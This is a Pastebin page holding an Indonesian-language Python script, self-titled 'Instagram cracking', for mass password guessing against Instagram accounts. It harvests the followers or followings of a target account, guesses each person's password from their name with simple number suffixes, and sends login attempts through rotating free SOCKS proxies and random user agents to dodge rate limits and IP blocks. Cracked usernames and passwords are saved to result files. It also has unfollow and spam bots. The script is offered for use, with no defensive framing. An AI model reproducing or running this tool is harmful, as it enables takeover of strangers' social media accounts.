Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # coding:utf-8
- #/usr/bin/python
- try:
- import json
- import uuid
- import hmac
- import random
- import hashlib
- import urllib
- import stdiomask
- import urllib.request
- import calendar
- except ImportError as e:
- exit(f'\n [\033[1;35m>\033[0m] module {e} belum terinstall')
- import requests,bs4,json,os,sys,random,datetime,time,re
- try:
- import rich
- except ImportError:
- os.system('pip install rich')
- time.sleep(1)
- try:
- import rich
- except ImportError:
- exit('Tidak Dapat Menginstall Module rich, Coba Install Manual (pip install rich)')
- from rich.table import Table as me
- from rich.console import Console as sol
- from bs4 import BeautifulSoup as sop
- from concurrent.futures import ThreadPoolExecutor as tred
- from rich.console import Group as gp
- from rich.panel import Panel as nel
- from rich import print as cetak
- from rich.markdown import Markdown as mark
- from rich.columns import Columns as col
- from time import sleep
- from concurrent.futures import ThreadPoolExecutor
- from datetime import datetime
- from bs4 import BeautifulSoup as parser
- import time
- day=datetime.now().strftime("%d-%b-%Y")
- nyMnD = 5
- nyMxD = 10
- current_GMT = time.gmtime(time.time())
- insta_log='https://www.instagram.com/accounts/login/?force_classic_login=&'
- url='https://www.instagram.com'
- menudump=[]
- try:
- os.mkdir('result')
- except:
- pass
- try:
- prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
- open('prox.txt','w').write(prox)
- except Exception as e:
- print('GAGAL')
- prox=open('prox1.txt','r').read().splitlines()
- try:
- os.system('curl https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt -o socks5.txt')
- except:
- pass
- sock=open('socks5.txt','r').read().splitlines()
- CY='\033[96;1m'
- H='\033[1;32m' #HIJAU
- M='\033[1;31m' #MERAH
- K='\033[1;33m' #KUNING
- U='\033[1;35m' #UNGU
- O='\033[38;2;255;127;0;1m' #ORANGE
- C='\033[0m' #CLEAR
- N = '\x1b[0m' # WARNA MATI
- USN="Mozilla/5.0 (Linux; Android 10; SH-03K Build/S6220; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/96.0.4664.45 Mobile Safari/537.36 Instagram 214.1.0.29.120 Android (29/10; 640dpi; 1440x2688; SHARP/DOCOMO; SH-03K; SH-03K; qcom; ja_JP; 333717277)"
- # USN="Mozilla/5.0 (Linux; Android 11; ASUS_I006D Build/RKQ1.201022.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/96.0.4664.104 Mobile Safari/537.36 Sleipnir/3.5.28"
- ugen=open('UAG.txt','r').read().splitlines()
- proxq=open('prox.txt','r').read().splitlines()
- internal,external,success,checkpoint,loop,following,lisensikuni,lisensiku=[],[],[],[],0,[],[],['sukses']
- s=requests.Session()
- # CLEAR
- def clear():
- os.system('clear')
- # BANNER
- def banner():
- clear()
- wel = '# WELCOME TO INSTAGRAM CRACKING'
- wel2 = mark(wel, style='white')
- sol().print(wel2)
- try:
- # python 2
- urllib_quote_plus = urllib.quote
- except:
- # python 3
- urllib_quote_plus = urllib.parse.quote_plus
- def cekAPI(cookie):
- user=open('.username','r').read()
- try:
- c=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),cookies={'cookie':cookie},headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
- i=c.json()["data"]["user"]
- nama=i["full_name"]
- followers=i["edge_followed_by"]["count"]
- following=i["edge_follow"]["count"]
- external.append(f'{nama}|{followers}|{following}')
- except (ValueError,KeyError):
- wel='# Instagram Checkpoint'
- wel2 = mark(wel, style='red')
- sol().print(wel2)
- time.sleep(4)
- os.remove('.kukis.log')
- os.remove('.username')
- exit()
- return external,user
- def login_kamu():
- if "sukses" in lisensiku:
- try:
- kuki=open('.kukis.log','r').read()
- except FileNotFoundError:
- banner()
- wel = '# ••• MENU LOGIN •••'
- wel2 = mark(wel, style='on red')
- sol().print(wel2)
- io = '[1] Login Using Cookie\n[2] Login Using Username & Password\n[3] Tutorial Mendapetkan Cookie Instagram'
- oi = nel(io, style='blue')
- cetak(nel(oi, title='••• PILIH METODE LOGIN •••'))
- loginpil=input(f"[•] LOGIN :{C} ")
- if loginpil=='1':
- wel = '# Tidak Disarankan Mengunakan Cookie Private'
- wel2 = mark(wel, style='on red')
- sol().print(wel2)
- us=input(f'{C}[•] Username :{C}')
- cok=input(f'{C}[•] Cookie :{C}')
- kuki=open('.kukis.log','w').write(cok)
- user=open('.username','w').write(us)
- elif loginpil == '2':
- login()
- ex,user=cekAPI(kuki)
- cookie={'cookie':kuki}
- instagram(ex,user,cookie).menu()
- else:
- login()
- class instagram:
- def __init__(self,external,username,cookie):
- self.ext=external
- self.username=username
- self.cookie=cookie
- self.s=requests.Session()
- def logo(self):
- for i in external:
- try:
- nama=i.split('|')[0]
- followers=i.split('|')[1]
- following=i.split('|')[2]
- except:
- pass
- os.system('clear')
- io='[•] CRACK DARI PENGIKUT\n[•] CRACK DARI MENGIKUTI\n[•] KEMBALI'
- oi = nel(io, style='purple')
- cetak(nel(oi, title='[white]•[blue]•[red]• SIMPLE MENU [red]•[blue]•[white]•'))
- def BUG(self):
- bug=f'[•] Bantu saya mengembangkan script ini. apapun bugnya tolong laporkan kepada saya, semakin dikit bugnya semakin baik scriptnya.\n[•] Anda bisa melaporkan langsung ke wa admin +62 8966-908-4331\n[•] LUXINE'
- bug1 = nel(bug, style='purple')
- cetak(nel(bug1, title='REPORT BUG'))
- exit()
- def ChangeLog(self):
- io='[1] Fix bug login instagram\n[2] Ganti tampilan scripts\n[3] Fix bug lisensi invalid'
- oi = nel(io, style='cyan')
- cetak(nel(oi, title='Fitur yang di update'))
- io='[1] Bot unfollow instagram\n[2] Bot spam komen'
- oi = nel(io, style='cyan')
- cetak(nel(oi, title='Fitur tambahan'))
- io='[1] Untuk fitur brute force masih dalam perbaikan\n[2] Untuk fitur Bot unfollow masih dalam perbaikan\n[3] Untuk fitur bot komen masih dalam perbaikan'
- oi = nel(io, style='cyan')
- cetak(nel(oi, title='Fix Bug'))
- exit()
- def Exit(self):
- kel='# Ingin keluar berserta cookir?'
- kel1=mark(kel,style='red')
- sol().print(kel1)
- x=input(f'\n{CY}[•] Answer [y/t] : {C}')
- if x in ('y','Y'):
- os.remove('.kukis.log')
- os.remove('.username')
- os.system('python upv3')
- elif x in ('t','T'):
- self.Exit()
- else:
- self.Exit()
- def sixAPI(self,six_id):
- url = "https://www.instagram.com/web/search/topsearch/?context=blended&query="+six_id+"&rank_token=0.3953592318270893&count=1"
- x = requests.get(url)
- x_jason = x.json()
- uid = str( x_jason['users'][0].get("user").get("pk") )
- return uid
- def unfollowAPI(self,user_id,username_id,cookie):
- uuid=generateUUID(True)
- xx=self.s.get("https://www.instagram.com/",headers={"user-agent":User_Agent()}).content
- crf_token = re.findall('{"config":{"csrf_token":"(.*)","viewer"',str(xx))[0]
- s.headers.update({'Connection': 'close',
- 'Accept': '*/*',
- 'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
- 'Cookie2': '$Version=1',
- 'Accept-Language': 'en-US',
- 'User-Agent': User_Agent()})
- data = json.dumps({'_uuid': uuid,
- '_uid': username_id,
- 'user_id': user_id,
- '_csrftoken': crf_token})
- self.payload = 'signed_body={}.{}&ig_sig_key_version=4'.format(
- self.generateUUID(False),
- urllib.request.quote(data))
- return s.post('https://i.instagram.com/api/v1/friendships/destroy/%s/'%(user_id),self.payload,cookies=cookie).text
- def searchAPI(self,cookie,nama):
- try:
- x=s.get('https://www.instagram.com/web/search/topsearch/?count=100000&context=blended&query=%s&rank_token=0.21663777590422106&include_reel=true'%(nama),cookies=cookie,headers={"user-agent":USN})
- x_jason=json.loads(x.text)
- for i in x_jason['users']:
- user=i['user']
- username=user['username']
- fullname=user['full_name']
- internal.append(f'{username}|{fullname}')
- except requests.exceptions.ConnectionError:
- exit()
- return internal
- def idAPI(self,cookie,id):
- if 'sukses' in lisensiku:
- try:
- m=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(id),cookies=cookie,headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
- m_jason=m.json()["data"]["user"]
- idx=m_jason["id"]
- except requests.exceptions.ConnectionError:
- exit(f"\n{M}┣Tidak Ada Koneksi Internet")
- except Exception as e:
- exit(f"\n{C}┣Cookie anda invalid atau target tidak publik{C}")
- return idx
- else:lisensi()
- def infoAPI(self,cookie,api,id):
- if 'sukses' in lisensiku:
- try:
- idtar=f'# [•] MENGUMPULKAN USERNAME'
- idtar1=mark(idtar,style='on purple')
- sol().print(idtar1)
- x=s.get(api%(id),cookies=cookie,headers={"user-agent":USN})
- x_jason=json.loads(x.text)
- for i in x_jason['users']:
- username = i["username"]
- nama = i["full_name"]
- internal.append(f'{username}|{nama}')
- following.append(username)
- if 'pengikut' in menudump:
- maxid=x_jason['next_max_id']
- for z in range (9999):
- x=s.get('https://i.instagram.com/api/v1/friendships/'+id+'/followers/?count=100&max_id='+maxid,cookies=cookie,headers={"user-agent":USN})
- x_jason=json.loads(x.text)
- try:
- for i in x_jason['users']:
- username = i["username"]
- nama = i["full_name"]
- internal.append(f'{username}|{nama}')
- following.append(username)
- sys.stdout.write(f"\r COLLECTION Id : [ {len(following)} ]"),sys.stdout.flush()
- try:
- maxid=x_jason['next_max_id']
- except:
- break
- except:
- if 'challenge' in x.text:
- break
- else:
- continue
- else:pass
- except requests.exceptions.ConnectionError:
- exit(f'\n{M}┣Koneksi{C}')
- except Exception as e:
- print(f'\n{C}Target Tidak Publik{C}')
- return internal
- else:lisensi()
- def passwordAPI(self,xnx):
- luxdam='# GUNAKAN PROX AKAN LEBIH BAIK'
- luxdam1=mark(luxdam,style='on purple')
- sol().print(luxdam1)
- pox='[1] Crack Mengunakan Proxy\n[2] Crack Tidak mengunakan proxy'
- pox1 = nel(pox, style='purple')
- cetak(nel(pox1))
- proxsy = input(f'[?] Menu Prxoxy : ')
- pilpass='# MENU PASSWORD '
- pilpass1=mark(pilpass,style='on purple')
- sol().print(pilpass1)
- komb='[1] FirstName123 Firstname1234\n[2] FirtsName123 Firstname1234 Firstname12345 FullName\n[3] FirstName+123,FullName,Full Name\n[4] FullName + manual'
- komb1 = nel(komb, style='purple')
- cetak(nel(komb1))
- c=input(f'{C}[•] Menu Password :{C} ')
- pwt=input(f'{C} [ ENTER ] ')
- if pwt in ["sey","Ys"]:
- print(f'{M} Contoh sayang,anjing,bangsat')
- zx=input(f'{CY}[•] List password :{C} ')
- else:zx="tidakboy"
- if c=='1':
- self.generateAPI(xnx,c,zx)
- elif c=='2':
- self.generateAPI(xnx,c,zx)
- elif c=='3':
- self.generateAPI(xnx,c,zx)
- else:
- self.passwordAPI(xnx)
- def generateAPI(self,user,o,zx):
- ipku='# [!] GUNAKAN MODE PESAWAT SETIAP 500-1K USERNAME'
- ipku1=mark(ipku,style='on red')
- sol().print(ipku1)
- with ThreadPoolExecutor(max_workers=20) as shinkai:
- for i in user:
- try:
- username=i.split("|")[0]
- password=i.split("|")[1].lower()
- for w in password.split(" "):
- if len(w)<3:
- continue
- else:
- w=w.lower()
- if o=="1":
- if len(w)==3 or len(w)==4 or len(w)==5:
- sandi=[w]
- else:
- sandi=[w]
- elif o=="2":
- if len(w)==3 or len(w)==4 or len(w)==5:
- sandi=[w+'123',w,w+'1234',w+'12345']
- else:
- sandi=[w+'123',w,w+'1234',w+'12345']
- elif o=="3":
- if len(w)==3 or len(w)==4 or len(w)==5:
- sandi=[w+'123',w+'12345',w,password.lower()]
- else:
- sandi=[w+'123',w+'12345',w,password.lower()]
- elif o=="7":
- if len(w)==3 or len(w)==4 or len(w)==5:
- sandi=[w+'123',w+'1234',w+'12345',w]
- else:
- sandi=[w+'123',w+'1234',w+'12345']
- elif o=="4":
- if len(zx) > 3:
- sandi = zx.replace(" ", "").split(",")
- else:
- break
- if zx == 'tidakboy':pass
- else:
- for xds in zx.split(","):
- sandi.append(xds)
- shinkai.submit(self.crackAPI,username,sandi)
- except:
- pass
- print('\n')
- oi='# CRACK COMPLETE'
- io=mark(oi,style='red')
- sol().print(io)
- exit()
- def APIinfo(self,user):
- try:
- x=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
- x_jason=x.json()["data"]["user"]
- nama=x_jason["full_name"]
- pengikut=x_jason["edge_followed_by"]["count"]
- mengikut=x_jason["edge_follow"]["count"]
- postingan=x_jason["edge_owner_to_timeline_media"]["count"]
- except:
- pass
- return nama,pengikut,mengikut,postingan
- def crackAPI(self,user,pas):
- global loop,success,checkpoint
- s = requests.Session()
- sys.stdout.write(f"\r{C} [{K}{loop}/{len(internal)}{C}] {H}[ SUCCESS : {len(success)}]{C} {K}[ CHECKPOINT : {len(checkpoint)}]{C} "),sys.stdout.flush()
- try:
- for pw in pas:
- ts = calendar.timegm(current_GMT)
- tc=random.randint(1000000000, 99999999999)
- nip=random.choice(prox)
- aa='Mozilla/5.0 (Linux; arm_64; Android'
- b=random.choice(['4','5','6','7','8','9','10','11','12'])
- c='SM-'
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='YaBrowser/22.9.4.79.00 SA/3 Mobile Safari/537.36'
- uaku=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
- token=s.get('https://www.instagram.com/api/v1/web/accounts/login/ajax/')
- headers = {
- 'Host': 'https://www.instagram.com',
- 'accept': '*/*',
- 'accept-encoding': 'gzip, deflate, br',
- 'accept-language': 'en-US,en;q=0.5',
- 'content-lenght': '309',
- 'content-type': 'application/x-www-form-urlencoded',
- 'origin': 'https://www.instagram.com',
- 'connection': 'keep-alive',
- 'referer': 'https://www.instagram.com/accounts/login/',
- 'sec-fetch-dest': 'empty',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-site': 'same-origin',
- 'user-agent': uaku,
- 'x-asbd-id': '198387',
- 'x-csrftoken': token.cookies['csrftoken'],
- 'x-ig-app-id': '1217981644879628',
- 'x-ig-www-claim': '0',
- 'x-instagram-ajax': '1006879689',
- 'x-requested-with': 'XMLHttpRequest',
- }
- # "enc_password": "#PWD_INSTAGRAM_BROWSER:0:{}:{}".format(random.randint(1000000000, 99999999999),pw),
- param={
- "enc_password": f"#PWD_INSTAGRAM_BROWSER:0:{ts}:{pw}",
- "username": user,
- "optIntoOneTap": 'false',
- "queryParams": "{}",
- "stopDeletionNonce": "",
- "trustedDeviceRecords": "{}"}
- x=s.post("https://www.instagram.com/api/v1/web/accounts/login/ajax/", headers=headers, data=param, proxies={'http': 'socks4://'+nip}, allow_redirects=True)
- x_jason=json.loads(x.text)
- if "userId" in str(x_jason):
- nama,pengikut,mengikut,postingan=self.APIinfo(user)
- io=f'Nama : {nama}\nUser : {user}\nPass : {pw}\npengikut : {pengikut}\nMengikuti : {mengikuti}\nPostingan : {postingan}'
- oi = nel(io, style='green')
- print('\n')
- cetak(nel(oi, title=' SUCCESS '))
- open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
- success.append(user)
- break
- elif 'two_factor_required' in str(x_jason):
- nama,pengikut,mengikut,postingan=self.APIinfo(user)
- io=f'Name : {nama}\nUser : {user}\nPass : {pw}\nPengikut : {pengikut}\nMengikuti : {mengikuti}\nPostingan : {postingan}'
- oi = nel(io, style='green')
- print('\n')
- cetak(nel(oi, title=' SUCCESS '))
- open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
- success.append(user)
- break
- elif 'checkpoint_url' in str(x_jason):
- nama,pengikut,mengikut,postingan=self.APIinfo(user)
- io=f'Name : {nama}\nUser : {user}\nPass : {pw}\nPengikut : {pengikut}'
- print('\n')
- oi=nel(io,style='yellow')
- cetak(nel(oi, title=' CHECKPOINT '))
- open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
- checkpoint.append(user)
- break
- elif 'Please wait a few minutes' in str(x.text):
- sys.stdout.write(f"\r┣[{U}!{C}] {U}IP KENA SPAM TUNGGU BEBERAPA MENIT{C}");sys.stdout.flush();sleep(10)
- #self.crackAPI(user,pas)
- elif 'ip_block' in str(x.text):
- sys.stdout.write(f"\r┣[{U}!{C}] {U}IP DI BLOKIR ON OFF MODE PESAWAT{C}");sys.stdout.flush();sleep(10)
- self.crackAPI(user,pas)
- elif 'spam' in str(x.text):
- sys.stdout.write(f"\r┣[{U}!{C}] {U}TERDETEKSI SPAM ON OFF MODE PESAWAT{C}");sys.stdout.flush();sleep(10)
- #self.crackAPI(user,pas)
- else:
- continue
- loop+=1
- except:
- self.crackAPI(user,pas)
- def checkAPI(self,user,pw):
- try:
- token=s.get("https://www.instagram.com/",headers={"user-agent":User_Agent()}).content
- crf_token=re.findall(r"\"csrf_token\"\:\"(.*?)\"", str(token))[0]
- s.headers.update({
- 'authority': 'www.instagram.com',
- 'x-ig-www-claim': 'hmac.AR02SLJcxjyCDDqlFL3FP1-1-NvJP5G0V3dVgiT0y_FZm-lV',
- 'x-instagram-ajax': '1005710756',
- 'content-type': 'application/x-www-form-urlencoded',
- 'accept': '*/*',
- 'user-agent': uap,
- 'x-requested-with': 'XMLHttpRequest',
- 'x-csrftoken': crf_token,
- 'x-ig-app-id': '936619743392459',
- 'origin': 'https://www.instagram.com',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-dest': 'empty',
- 'referer': 'https://www.instagram.com/',
- 'accept-language': 'en-US,en;q=0.9'
- })
- param={
- "username": user,
- "enc_password": "#PWD_INSTAGRAM_BROWSER:0:{}:{}".format(random.randint(1000000000, 99999999999),pw),
- "optIntoOneTap": False,
- "queryParams": {},
- "stopDeletionNonce": "",
- "trustedDeviceRecords": {}
- }
- x=s.post("https://www.instagram.com/accounts/login/ajax/",data=param);sleep(1)
- x_jason=json.loads(x.text)
- if "userId" in x.text:
- name, followers,following,posts=self.APIinfo(user)
- io=f'Name : {name}\nUsername : {user}\nPassword : {pw}\nFollowers : {followers}\nFollowing: {following}\nPosts: {posts}'
- oi = nel(io, style='green')
- print('\n')
- cetak(nel(oi, title=' LIVE'))
- elif 'checkpoint_url' in x.text:
- name, followers,following,posts=self.APIinfo(user)
- io=f'Name : {name}\nUsername : {user}\nPassword : {pw}\nFollowers : {followers}\nFollowing: {following}\nPosts: {posts}'
- oi = nel(io, style='yellow')
- print('\n')
- cetak(nel(oi, title=' CHECKPOINT'))
- elif 'Please wait a few minutes' in str(x.text):
- sys.stdout.write(f"\r {U}!{C}] {U}Please wait a few minutes second{C}");sys.stdout.flush();sleep(10)
- self.checkAPI(user,pw)
- except:
- self.checkAPI(user,pw)
- def menu(self):
- self.logo()
- c=input(f'[?] {C}Simple Menu :{C} ')
- if c=='':
- self.menu()
- elif c in ('dd1','01d'):
- mas='# Masukan jumlah target'
- mas1=mark(mas,style='green')
- sol().print(mas1)
- m=int(input(f'\n{CY}[•] Jumlah : {C}'));print('')
- mas='# Masukan nama ranfom untuk di searching'
- mas1=mark(mas,style='green')
- sol().print(mas1)
- for i in range(m):
- i+1
- nama=input(f'{CY}┣[>] Input name ({H}{len(internal)}{C}): ')
- name=self.searchAPI(self.cookie,nama)
- self.passwordAPI(name)
- elif c in ('1','01'):
- massal(self)
- mas=input('Do you want multi crack? y/t> ')
- if mas in ['y','Y']:
- masal(self)
- elif mas in ['t','T']:
- massal(self)
- elif mas in ['']:
- print('CONTENT IS EMPTY BRO!')
- elif c in ('2','02'):
- meng(self)
- mas=input('Do you want multi crack? y/t> ')
- if mas in ['y','Y']:
- mengi(self)
- elif mas in ['t','T']:
- meng(self)
- elif mas in ['']:
- print('CONTENT IS EMPTY BRO!')
- elif c in ('hr4','0da4'):
- print('')
- for i in os.listdir('result'):
- print(f' [{U}>{C}] {i}')
- c=input(f'\n {C}┣>>> Enter filename: {C}')
- g=open("result/%s"%(c)).read().splitlines()
- print(f'\n{C}┣[+] Total Result MASTER_FU{H}{len(g)}{C}')
- print(f'\n{C}┣[!] The process of checking account status. Please wait a moment{C}\n')
- for s in g:
- usr=s.split("|")[0]
- pwd=s.split("|")[1]
- self.checkAPI(usr,pwd)
- exit(f'\n\n{K}┣[#] check process is complete...{C}')
- elif c in ('ad5','0dd5'):
- print('')
- for i in os.listdir('result'):
- print(f' [{U}>{C}] {i}')
- c=input(f'\n {U}┣>>> Enter Filename: {C}')
- g=open("result/%s"%(c)).read().splitlines()
- xx=c.split("-")
- xc=xx[0]
- print(f'\n{K}┣[>] Total result yang di temukan [{H}{len(g)}{C}]')
- for s in g:
- usr=s.split("|")[0]
- pwd=s.split("|")[1]
- fol=s.split("|")[2]
- ful=s.split("|")[3]
- if xc=="checkpoint":
- print(f"""
- [{M}+{C}] {M} PBB 𝐂HECKPOINT{C}:
- {M}|{C}
- {M}├╴>{C} Username: {O}{usr}{C}
- {M}├╴>{C} Password: {O}{pwd}{C}
- {M}├╴>{C} Followers: {O}{fol}{C}
- {M}├╴>{C} Following: {O}{ful}{C}
- """);sleep(0.05)
- else:
- print(f"""
- {H}[>]{C}{H} PBB-XD : LIVE {C}
- {H}[>]{C}{H} Username : {H}{usr}{C}
- {H}[>]{C}{H} Password : {H}{pwd}{C}
- {H}[>]{C}{H} Followers : {H}{fol}{C}
- {H}[>]{C}{H} Following : {H}{ful}{C}
- """);sleep(0.05)
- elif c in ('6','06'):
- global following
- six=0
- print(f'\n [{U}!{C}] Bot Unfollow-All Dijalankan\n')
- x=open('.kukis.log','r').read()
- x_id=re.findall('sessionid=(\d+)',x)[0]
- back=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',x_id)
- for i in following:
- six+=1
- sleep(float( random.uniform(nyMnD*10,nyMxD*10) / 10 ))
- six_id=self.sixAPI(i)
- print(f' {str(six)}{U}}}{C} {i} {H}Unfollow-Berhasil{C}')
- self.unfollowAPI(six_id,'5452333948',self.cookie)
- #print(w)
- input(f'\n\n [{U}#{C}] Unfollow-all selesai...');self.menu()
- elif c in ('r','R'):
- self.BUG()
- elif c in ('c','C'):
- self.ChangeLog()
- elif c in ('e','E'):
- self.Exit()
- else:
- self.menu()
- def mengi(self):
- try:
- menudump.append('pengikut')
- mas='# Target must be public, not private'
- mas1=mark(mas,style='red')
- m=int(input(f'\n{C}[?{C}] Enter the target amount: {C}'))
- except:m=1
- for t in range(m):
- t +=1
- so=f'# TOTAL ID :{len(internal)}'
- pi=mark(so,style='on red')
- sol().print(pi)
- nama=input(f' [{C}] Enter Username : ')
- id=self.idAPI(self.cookie,nama)
- info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',id)
- self.passwordAPI(info)
- def meng(self):
- m=input(f'{C}[#] Masukan Username : {C}')
- id=self.idAPI(self.cookie,m)
- info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',id)
- self.passwordAPI(info)
- def masal(self):
- try:
- menudump.append('pengikut')
- mas='# Target must be public, not private'
- mas1=mark(mas,style='red')
- sol().print(mas1)
- m=int(input(f'\n{C}[?{C}] Enter the Target amount: {C}'))
- except:m=1
- for t in range(m):
- t +=1
- so=f'# TOTAL ID :{len(internal)}'
- pi=mark(so,style='on red')
- sol().print(pi)
- nama=input(f' [{C}] Enter Username : ')
- id=self.idAPI(self.cookie,nama)
- info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100000',id)
- self.passwordAPI(info)
- def massal(self):
- menudump.append('pengikut')
- m=input(f'{C}[#] Username target : {C}')
- id=self.idAPI(self.cookie,m)
- info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100000',id)
- self.passwordAPI(info)
- if __name__=='__main__':
- try:
- login_kamu()
- except requests.exceptions.ConnectionError:
- exit(f'\n [{M}!{C}] Terjadi Koneksi')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement